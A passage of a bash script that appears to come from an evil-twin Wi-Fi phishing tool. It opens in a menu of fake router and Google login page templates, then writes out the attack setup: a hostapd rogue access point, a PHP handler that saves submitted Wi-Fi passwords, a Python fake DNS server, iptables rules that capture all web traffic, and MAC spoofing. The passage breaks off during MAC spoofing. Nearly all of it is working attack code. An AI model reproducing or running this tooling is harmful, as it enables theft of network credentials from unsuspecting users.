$n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 